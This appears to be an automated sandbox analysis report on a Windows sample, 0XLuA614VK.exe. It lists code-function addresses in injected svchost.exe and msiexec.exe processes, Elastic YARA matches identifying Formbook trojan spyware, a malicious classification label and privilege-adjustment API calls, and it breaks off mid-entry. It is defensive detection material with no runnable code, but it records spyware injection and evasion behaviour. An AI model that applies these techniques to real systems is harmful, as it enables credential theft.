Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F81CC	2_2_036F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F41A2	2_2_036F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037001AA	2_2_037001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D2000	2_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03664750	2_2_03664750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363C7C0	2_2_0363C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365C6E0	2_2_0365C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640535	2_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03700591	2_2_03700591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F2446	2_2_036F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E4420	2_2_036E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EE4F6	2_2_036EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FAB40	2_2_036FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F6BD7	2_2_036F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03656962	2_2_03656962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0370A9A6	2_2_0370A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364A840	2_2_0364A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03642840	2_2_03642840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E8F0	2_2_0366E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036268B8	2_2_036268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B4F40	2_2_036B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03682F28	2_2_03682F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03660F30	2_2_03660F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E2F30	2_2_036E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364CFE0	2_2_0364CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03632FC8	2_2_03632FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BEFA0	2_2_036BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640E59	2_2_03640E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FEE26	2_2_036FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FEEDB	2_2_036FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03652E90	2_2_03652E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FCE93	2_2_036FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364AD00	2_2_0364AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DCD1F	2_2_036DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363ADE0	2_2_0363ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03658DBF	2_2_03658DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640C00	2_2_03640C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03630CF2	2_2_03630CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0CB5	2_2_036E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362D34C	2_2_0362D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F132D	2_2_036F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0368739A	2_2_0368739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E12ED	2_2_036E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365B2C0	2_2_0365B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036452A0	2_2_036452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0367516C	2_2_0367516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362F172	2_2_0362F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0370B16B	2_2_0370B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364B1B0	2_2_0364B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F70E9	2_2_036F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FF0E0	2_2_036FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EF0CC	2_2_036EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036470C0	2_2_036470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FF7B0	2_2_036FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03685630	2_2_03685630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F16CC	2_2_036F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F7571	2_2_036F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037095C3	2_2_037095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DD5B0	2_2_036DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03631460	2_2_03631460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FF43F	2_2_036FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FFB76	2_2_036FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B5BF0	2_2_036B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0367DBF9	2_2_0367DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365FB80	2_2_0365FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B3A6C	2_2_036B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FFA49	2_2_036FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F7A46	2_2_036F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EDAC6	2_2_036EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DDAAC	2_2_036DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03685AA0	2_2_03685AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E1AA3	2_2_036E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03649950	2_2_03649950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365B950	2_2_0365B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D5910	2_2_036D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AD800	2_2_036AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036438E0	2_2_036438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FFF09	2_2_036FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FFFB1	2_2_036FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03641F92	2_2_03641F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03649EB0	2_2_03649EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F7D73	2_2_036F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03643D40	2_2_03643D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F1D5A	2_2_036F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365FDC0	2_2_0365FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B9C32	2_2_036B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FFCF2	2_2_036FFCF2
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_04206D30	3_2_04206D30
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_04226434	3_2_04226434
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_0420F454	3_2_0420F454
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_04208D04	3_2_04208D04
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_04206D84	3_2_04206D84
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_04208AE4	3_2_04208AE4
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_04208ADB	3_2_04208ADB
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_06A306EC	3_2_06A306EC
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_06A306F5	3_2_06A306F5
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_06A35535	3_2_06A35535
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_06A37065	3_2_06A37065
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_06A4E045	3_2_06A4E045
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_06A2E995	3_2_06A2E995
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_06A30915	3_2_06A30915
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04502446	4_2_04502446
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044FE4F6	4_2_044FE4F6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04450535	4_2_04450535
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04510591	4_2_04510591
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0446C6E0	4_2_0446C6E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04474750	4_2_04474750
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04450770	4_2_04450770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0444C7C0	4_2_0444C7C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044E2000	4_2_044E2000
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044D8158	4_2_044D8158
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04440100	4_2_04440100
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044EA118	4_2_044EA118
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_045081CC	4_2_045081CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_045101AA	4_2_045101AA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044F0274	4_2_044F0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044D02C0	4_2_044D02C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450A352	4_2_0450A352
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0445E3F0	4_2_0445E3F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_045103E6	4_2_045103E6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04450C00	4_2_04450C00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04440CF2	4_2_04440CF2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044F0CB5	4_2_044F0CB5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0445AD00	4_2_0445AD00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044ECD1F	4_2_044ECD1F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0444ADE0	4_2_0444ADE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04468DBF	4_2_04468DBF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04450E59	4_2_04450E59
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450EE26	4_2_0450EE26
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450EEDB	4_2_0450EEDB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450CE93	4_2_0450CE93
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04462E90	4_2_04462E90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044C4F40	4_2_044C4F40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04492F28	4_2_04492F28
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04470F30	4_2_04470F30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04442FC8	4_2_04442FC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0445CFE0	4_2_0445CFE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044CEFA0	4_2_044CEFA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04452840	4_2_04452840
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0445A840	4_2_0445A840
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0447E8F0	4_2_0447E8F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044368B8	4_2_044368B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04466962	4_2_04466962
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044529A0	4_2_044529A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0451A9A6	4_2_0451A9A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0444EA80	4_2_0444EA80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450AB40	4_2_0450AB40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04506BD7	4_2_04506BD7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04441460	4_2_04441460
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450F43F	4_2_0450F43F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04507571	4_2_04507571
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044ED5B0	4_2_044ED5B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_045016CC	4_2_045016CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450F7B0	4_2_0450F7B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044FF0CC	4_2_044FF0CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044570C0	4_2_044570C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450F0E0	4_2_0450F0E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_045070E9	4_2_045070E9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0448516C	4_2_0448516C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0443F172	4_2_0443F172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0451B16B	4_2_0451B16B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0445B1B0	4_2_0445B1B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0446B2C0	4_2_0446B2C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044F12ED	4_2_044F12ED
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044552A0	4_2_044552A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0443D34C	4_2_0443D34C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450132D	4_2_0450132D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0449739A	4_2_0449739A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044C9C32	4_2_044C9C32
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450FCF2	4_2_0450FCF2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04453D40	4_2_04453D40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04501D5A	4_2_04501D5A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04507D73	4_2_04507D73
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0446FDC0	4_2_0446FDC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04459EB0	4_2_04459EB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450FF09	4_2_0450FF09
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04451F92	4_2_04451F92
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450FFB1	4_2_0450FFB1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044BD800	4_2_044BD800
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044538E0	4_2_044538E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04459950	4_2_04459950
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0446B950	4_2_0446B950
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044E5910	4_2_044E5910
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04507A46	4_2_04507A46
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450FA49	4_2_0450FA49
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044C3A6C	4_2_044C3A6C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044FDAC6	4_2_044FDAC6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044EDAAC	4_2_044EDAAC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04495AA0	4_2_04495AA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0450FB76	4_2_0450FB76
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0448DBF9	4_2_0448DBF9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044C5BF0	4_2_044C5BF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0446FB80	4_2_0446FB80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_00121A00	4_2_00121A00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0013A510	4_2_0013A510
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_00123530	4_2_00123530
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0011CBB7	4_2_0011CBB7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0011CBC0	4_2_0011CBC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0011CDE0	4_2_0011CDE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0011AE60	4_2_0011AE60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_041BC03D	4_2_041BC03D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_041BB0A8	4_2_041BB0A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_041BC1CE	4_2_041BC1CE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_041BBCA3	4_2_041BBCA3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_041BBB84	4_2_041BBB84

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03675130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 036BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 036AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0362B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03687E54 appears 111 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 044BEA12 appears 86 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 044CF290 appears 105 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 04485130 appears 58 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 04497E54 appears 101 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 0443B970 appears 275 times
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: String function: 00F40A30 appears 46 times
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: String function: 00F29CB3 appears 31 times
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: String function: 00F3F9F2 appears 40 times

Source: 0XLuA614VK.exe, 00000000.00000003.2046499166.0000000003A43000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 0XLuA614VK.exe
Source: 0XLuA614VK.exe, 00000000.00000003.2044891936.0000000003B9D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 0XLuA614VK.exe

Source: 0XLuA614VK.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2203489925.0000000005000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4491976479.0000000006A20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4487941986.0000000002590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2202835266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2203112079.0000000003480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4487732507.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4487977474.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4488832936.00000000041A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@17/7

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F937B5 GetLastError,FormatMessageW,

0_2_00F937B5

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F810BF AdjustTokenPrivileges,CloseHandle,		0_2_00F810BF
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F816C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00F816C3

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F951CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00F951CD

Source: C:\Users\user\Desktop\0XLuA614VK.exe

